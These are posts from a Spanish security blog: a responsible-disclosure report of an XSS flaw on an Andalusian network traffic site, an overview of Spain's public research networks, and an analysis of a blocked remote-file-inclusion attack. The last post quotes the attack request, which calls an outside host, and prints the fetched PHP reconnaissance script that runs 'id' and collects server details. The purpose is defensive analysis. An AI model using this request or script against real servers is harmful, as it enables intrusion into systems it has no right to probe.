30 de abril de 2010

XSS en la web de trafico de RICA (Red informatica cientifica de andalucia)

Buscando un formación sobre las redes públicas españolas he podido descubrir un fallo leve de seguridad que ya ha sido notificado a los administradores del sitio.

El error era causado al no validar correctamente la variable "titulo", que se usa para escribir el título de las gráficas mostradas.

Os dejo una imagen sobre el fallo.
De Rollanwar

En el ejemplo se ha usado un iframe y un javascript para mostrar los impactos más importantes.

Una vez encontrado este fallo me puse en contacto con el quipo de seguridad de CICA quienes solucionaron el problema en dos "partes".

La primera solución, temporal, filtraba las comillas (', ") del título. Esto complica la escritura del XSS, pero no soluciona correctamente el problema.

Como no se filtra el código HTML y los navegadores son relajados para la interpretación de código HTML, se podría explotar linkando un JS externo y ejecutandolo el código escrito en la web.

Como observé que este primer filtro no solucionaba el problema, y como no había recibido contestación, me puse en contacto con ellos para conocer el estado de la incidencia y sugerirles usar el filtro 'htmlentities'.

Este post ha sido publicado tras recibir y confirmar que el fallo se encontraba solucionado.

TIMELINE:
18-04-2010: Descubierta
19-04-2010: Notificado y recibido la respuesta
20-04-2010: Solución temporal (No soluciona el problema del todo. Aún no he recibido notificación oficial)
23-04-2010: Me pongo en contacto de nuevo con ellos para confirmar que siguen con ello.
28-04-2010: Me confirman que están trabajando en ello.
30-04-2010: Me confirman la solución y publicación.

18 de abril de 2010

Redes publicas en España

España como todos los países posé una infraestructura pública (Gestionada por Red.es) para Internet que permite a las distintas administraciones y empresas conectarse con el resto del mundo y entre sí.

La principal red española es RedIRIS.

Cito:
RedIRIS es la red académica y de investigación española y proporciona servicios
avanzados de comunicaciones a la comunidad científica y universitaria nacional.
Está financiada por el Ministerio de Ciencia e Innovación, e incluida en su
mapa de Instalaciones Científico Tecnológicas Singulares. Se hace cargo de su
gestión la entidad pública empresarial Red.es, del Ministerio de Industria,
Turismo y Comercio.

A continucación podéis ver el mapa de red de RedIRIS

Os recuerdo que esta infraestructura es la relativa a RedIRIS y que no tiene que ver con las redes privadas que seguramente sean más extensas, y que abría que analizar por separado, para ver el impacto real sobre la velocidad final del usuario.

Existen dos nodos españones de intercambio, Espanix y Catnix que interconectan la red pública con nodos privados.

Para poder ver esto desde un punto de vista de los nodos de red (los enrrutadores de internet) podemos visitar las gráficas que genera robtex sobres estos nodos. El Nodo de RedIRIS está identificado como AS776, el de Espanix como AS6895 y Catnix como AS13041.

No solo la comunidad autónoma de Cataluña gestiona su infraestructura de red, la comunidad Andaluza tambien gestiona su red. No he podido encontrar otras comunidades que gestionen sus redes, si sabéis de alguna otra os invito a que comentéis este post.

Pero esta red pública se conecta con otros nodos públicos y privados que permiten la interconexión con el resto del mundo.


Las conexiones internacionales que tiene españa con el resto del mundo son:
Con América por Panamá y Brasil (622Mbps).
Con Africa por Argelia (155Mb).
Con Asia por India (2,5Gbps).
Con Europa por Portugal (10Gbps), Italia (10Gbps), Francia (10Gbps) y Suiza (Fibra oscura).

Documentación:
Redes Nacionales
Conexiones Europeas
Conexiones Internacionales
Conexiones en el mediteraneo
Conexiones con Suramérica

13 de abril de 2010

Examinando un ataque parado por SaveBot

Vamos a ver el último ataque que parado por SaveBot:

El atacante tenia la ip: 222.122.197.xxx y se conectó desde el puerto 33302.

El atacante procedía de Korea, de un hosting koreano con 114 hosting virtuales.

El User-Agent usado ha sido "libwww-perl/5.79", por lo que SaveBot lo ha detenido.

El ataque:
cat=5///vwar/backup/errors.php?error=http://xxxxxxxxxxx.com/images/kontol.txt?

El dominio está registrdo en Ucrania y el hosting (91.196.0.xxx) también se encuentra alli.

El contenido de "kontrol.txt" es:
<?php
function ConvertBytes($number) {
$len = strlen($number);
if($len < 4) {
return sprintf("%d b", $number);
}
if($len >= 4 && $len <=6) {
return sprintf("%0.2f Kb", $number/1024);
}
if($len >= 7 && $len <=9) {
return sprintf("%0.2f Mb", $number/1024/1024);
}
return sprintf("%0.2f Gb", $number/1024/1024/1024);
}

echo "Coracore<br>";
$un = @php_uname();
$id1 = system(id);
$pwd1 = @getcwd();
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {
$free = 0;
}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {
$all = 0;
}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;

echo "Coracore<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "id: $id1<br>";
echo "free: $free<br>";
echo "used: $used<br>";
echo "total: $all<br>";
exit;

El resultado mostraría algo así:
Coracore
Coracore
uname -a: @php_uname();
os: @PHP_OS;
id: system(id)
free: diskfreespace(@getcwd())
used: ConvertBytes($all1-$free1)
total: disk_total_space(@getcwd())

Este ataque permite mostrar los datos del servidor facilitando un futuro ataque.